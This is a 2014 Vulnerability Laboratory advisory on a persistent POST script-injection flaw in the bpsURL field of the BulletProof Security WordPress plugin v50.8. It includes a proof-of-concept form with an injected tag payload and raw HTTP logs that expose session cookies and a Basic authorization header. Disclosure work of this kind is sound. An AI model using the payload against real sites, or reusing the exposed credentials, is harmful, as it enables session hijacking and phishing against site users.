BulletProof Security Wordpress v50.8 - POST Inject Vulnerability

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Document Title:
===============
BulletProof Security Wordpress v50.8 - POST Inject Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1326


Release Date:
=============
2014-09-30


Vulnerability Laboratory ID (VL-ID):
====================================
1326


Common Vulnerability Scoring System:
====================================
3.2


Product & Service Introduction:
===============================
The BulletProof Security Plugin allows you to create and activate .htaccess website security with one-click 
(figuratively) for 
your website without having to know anything about .htaccess files. The Master .htaccess files are pre-made and BPS 
writes 
.htaccess code that is customized to each specific website. There is nothing to figure out or to configure. Click the 
AutoMagic 
buttons (creates customized Master .htaccess files) and Activate BulletProof Modes (copies the customized Master 
.htaccess files 
to your root and wp-admin folders). BPS has built-in Backup and Restore and an .htaccess File Editor for full manual 
editing 
control as well. BPS Custom Code allows you to add additional custom .htaccess code or BPS Bonus Custom Code.

- .htaccess Website Security Protection (Firewalls)
- Login Security & Monitoring
- DB Backup
- DB Backup Logging
- DB Table Prefix Changer
- Security Logging
- HTTP Error Logging
- FrontEnd/BackEnd Maintenance Mode
- UI Theme Skin Changer

( Copy of the Vendor Homepage: https://wordpress.org/plugins/bulletproof-security/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent POST inject web vulnerability in the official 
Bulletproof Security (BPS) v50.8 Wordpress Plugin.


Vulnerability Disclosure Timeline:
==================================
2014-09-30: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
AIT-pro
Product: BPS Wordpress Plugin - Web Application  50.8 


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side POST inject web vulnerability has been discovered in the official Bulletproof Security (BPS) v50.8 
Wordpress Plugin.
The issue allows remote attackers to inject own malicious persistent script code to the application-side of the 
vulnerable module.

The vulnerability is located in the bspURL value of the wp_remote_get POST method request in the system-info.php file. 
Remote attackers can form 
malicious pages to perform application-side executions via POST injection attack. The vulnerability is local and remote 
exploitable. During the 
testings the researcher discovered that the `Check Headers GET request` and `Check Headers HEAD request` are the 
vulnerable input fields.
The execution after the inject occurs in the main system-info.php next to the `Check Website Headers Tool` web context.

The security risk of the persistent POST inject vulnerability is estimated as medium with a cvss (common vulnerability 
scoring system) count of 3.2. 
Exploitation of the application-side web vulnerability requires no privileged web-application user account but low or 
medium user interaction.
Successful exploitation of the vulnerability results in persistent phishing attacks, session hijacking, persistent 
external redirect to malicious 
sources and application-side manipulation of affected or connected module context.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] System Info > Check Website Headers Tool

Vulnerable Input(s):
                                [+] Check Headers GET request
                                [+] Check Headers HEAD request

Vulnerable Parameter(s):
                                [+] bspURL (wp_remote_get)

Affected Module(s):
                                [+] System Information (system-info.php)


Proof of Concept (PoC):
=======================
The POST inject web vulnerability can be exploited by local attackers and by remote attackers without privileged 
application user account 
with low or medium user interaction. For security demonstration or to reproduce the security vulnerability follow the 
provided information 
and steps below to continue.

PoC: Exploit (system-info.php)

<form name="bpsHeadersHead" action="admin.php?page=bulletproof-security/admin/system-info/system-info.php" 
method="post">
<input id="_wpnonce" name="_wpnonce" value="055c5fd94e" type="hidden"><input name="_wp_http_referer" 
value="/dev/wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php" type="hidden">
<div><label for="bpsHeaders"><strong>Enter a Website URL - Example: http://www.ait-pro.com/</strong></label><br>
    <input name="bpsURL" value="" size="50" type="text"> <br>
    <p class="submit">
        <input name="Submit-Headers-Check-Head" class="bps-blue-button" value="Check Headers HEAD Request" 
onclick="return confirm('This cURL Headers check makes a HEAD Request and you will see HTTP/1.1 403 Forbidden displayed 
if you are 
blocking HEAD Requests in your BPS root .htaccess file on your 
website.\n\n-------------------------------------------------------------\n\n
Use the Check Headers GET Request tool to check your headers using GET instead of HEAD. This tool can also be used to 
check that your Security 
Log is working correctly and will generate a Security Log entry when you make a HEAD Request using this tool if you are 
blocking HEAD Requests 
in your BPS root .htaccess file on your 
website.\n\n-------------------------------------------------------------\n\nClick OK to proceed or 
click Cancel.')" type="submit"></p>
</div>
<strong>HEAD Request Headers: </strong>\"><\"<img src="\"x\"">%20%20>\"<iframe src="a">%20<iframe><br><pre></pre></form>
    </td>
  </tr>


--- PoC Session Logs [POST] ---
Status: 200[OK]
 POST 
http://www.vulnerability-db.com/dev/wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php Load 
Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[7975] Mime Type[text/html]
   Request Header:
      Host[www.vulnerability-db.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://www.vulnerability-db.com/dev/wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php]
      Cookie[wordpress_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C337f4b4aea6a936838444eec20cc4866; 
wordpress_test_cookie=WP+Cookie+check; 
wordpress_logged_in_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C9c8e4791a37021eef2fd012316bf8fc1; 
wp-settings-1=m5%3Do%26m9%3Dc%26m6%3Dc%26m4%3Dc%26m3%3Dc%26m2%3Dc%26m1%3Do%26editor%3Dtinymce%26m7%3Dc%26m0%3Dc%26hidetb%3D1%26uploader%3D1%26m8%3Dc%26mfold%3Do%26libraryContent%3Dupload%26ed_size%3D393%26wplink%3D1;
 wp-settings-time-1=1411734366; aiowps_cookie_test_m2nzcep833=1]
      Authorization[Basic a2V5Z2VuNDQ3OjMyNTg1MjMyNTIzNS4yMTItNTg=]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   POST-Daten:
      _wpnonce[055c5fd94e]
      
_wp_http_referer[%2Fdev%2Fwp-admin%2Fadmin.php%3Fpage%3Dbulletproof-security%2Fadmin%2Fsystem-info%2Fsystem-info.php]
      bpsURL[%20[PERSISTENT INJECTED SCRIPT CODE!]%3E]
      Submit-Headers-Check-Head[Check+Headers+HEAD+Request]
   Response Header:
      Server[nginx]
      Date[Fri, 26 Sep 2014 12:41:18 GMT]
      Content-Type[text/html; charset=UTF-8]
      Content-Length[7975]
      Connection[keep-alive]
      Expires[Wed, 11 Jan 1984 05:00:00 GMT]
      Cache-Control[no-cache, must-revalidate, max-age=0]
      Pragma[no-cache]
      X-Frame-Options[SAMEORIGIN]
      X-Powered-By[PleskLin]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
-
Status: 200[OK]
 GET 
http://www.vulnerability-db.com/dev/wp-admin/load-styles.php?c=0&dir=ltr&load=dashicons,admin-bar,wp-admin,buttons,wp-auth-check&ver=3.9.1
 Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[-1] Mime Type[text/css]
   Request Header:
      Host[www.vulnerability-db.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/css,*/*;q=0.1]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://www.vulnerability-db.com/dev/wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php]
      Cookie[wordpress_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C337f4b4aea6a936838444eec20cc4866; 
wordpress_test_cookie=WP+Cookie+check; 
wordpress_logged_in_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C9c8e4791a37021eef2fd012316bf8fc1; 
wp-settings-1=m5%3Do%26m9%3Dc%26m6%3Dc%26m4%3Dc%26m3%3Dc%26m2%3Dc%26m1%3Do%26editor%3Dtinymce%26m7%3Dc%26m0%3Dc%26hidetb%3D1%26uploader%3D1%26m8%3Dc%26mfold%3Do%26libraryContent%3Dupload%26ed_size%3D393%26wplink%3D1;
 wp-settings-time-1=1411734366; aiowps_cookie_test_m2nzcep833=1]
      Authorization[Basic a2V5Z2VuNDQ3OjMyNTg1MjMyNTIzNS4yMTItNTg=]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Server[nginx]
      Date[Fri, 26 Sep 2014 12:41:19 GMT]
      Content-Type[text/css; charset=UTF-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      Expires[Sat, 26 Sep 2015 12:41:19 GMT]
      Cache-Control[public, max-age=31536000]
      X-Powered-By[PleskLin]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
-
Status: 200[OK] 
GET http://www.vulnerability-db.com/dev/wp-admin/%5C%22x%5C%22[PERSISTENT INJECTED SCRIPT CODE!] Load 
Flags[VALIDATE_ALWAYS ] Größe des Inhalts[557] Mime Type[text/html]
   Request Header:
      Host[www.vulnerability-db.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://www.vulnerability-db.com/dev/wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php]
      Cookie[wordpress_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C337f4b4aea6a936838444eec20cc4866; 
wordpress_test_cookie=WP+Cookie+check; 
wordpress_logged_in_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C9c8e4791a37021eef2fd012316bf8fc1; 
wp-settings-1=m5%3Do%26m9%3Dc%26m6%3Dc%26m4%3Dc%26m3%3Dc%26m2%3Dc%26m1%3Do%26editor%3Dtinymce%26m7%3Dc%26m0%3Dc%26hidetb%3D1%26uploader%3D1%26m8%3Dc%26mfold%3Do%26libraryContent%3Dupload%26ed_size%3D393%26wplink%3D1;
 wp-settings-time-1=1411734366; aiowps_cookie_test_m2nzcep833=1]
      Authorization[Basic a2V5Z2VuNDQ3OjMyNTg1MjMyNTIzNS4yMTItNTg=]
      Connection[keep-alive]
   Response Header:
      Server[nginx]
      Date[Fri, 26 Sep 2014 12:41:20 GMT]
      Content-Type[text/html]
      Content-Length[557]
      Connection[keep-alive]
      Last-Modified[Tue, 14 May 2013 13:05:17 GMT]
      Etag["4ea065b-3c6-4dcad48e5901e"]
      Accept-Ranges[bytes]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      X-Powered-By[PleskLin]


Reference(s):
wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php
/wp-admin/load-styles.php?c=0&dir=ltr&load=dashicons,admin-bar,wp-admin,buttons,wp-auth-check&ver=3.9.1
/wp-admin/%5C%22x%5C%22[PERSISTENT INJECTED SCRIPT CODE!]


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode and parse of the vulnerable bpsURL value.
Restrict the input and filter wrong context to prevent persistent script code execution with a secure 
exception-handling.


Security Risk:
==============
The security risk of the POST inject web vulnerability in the vulnerable bpsURL parameter is estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com) [www.vulnerability-lab.com]


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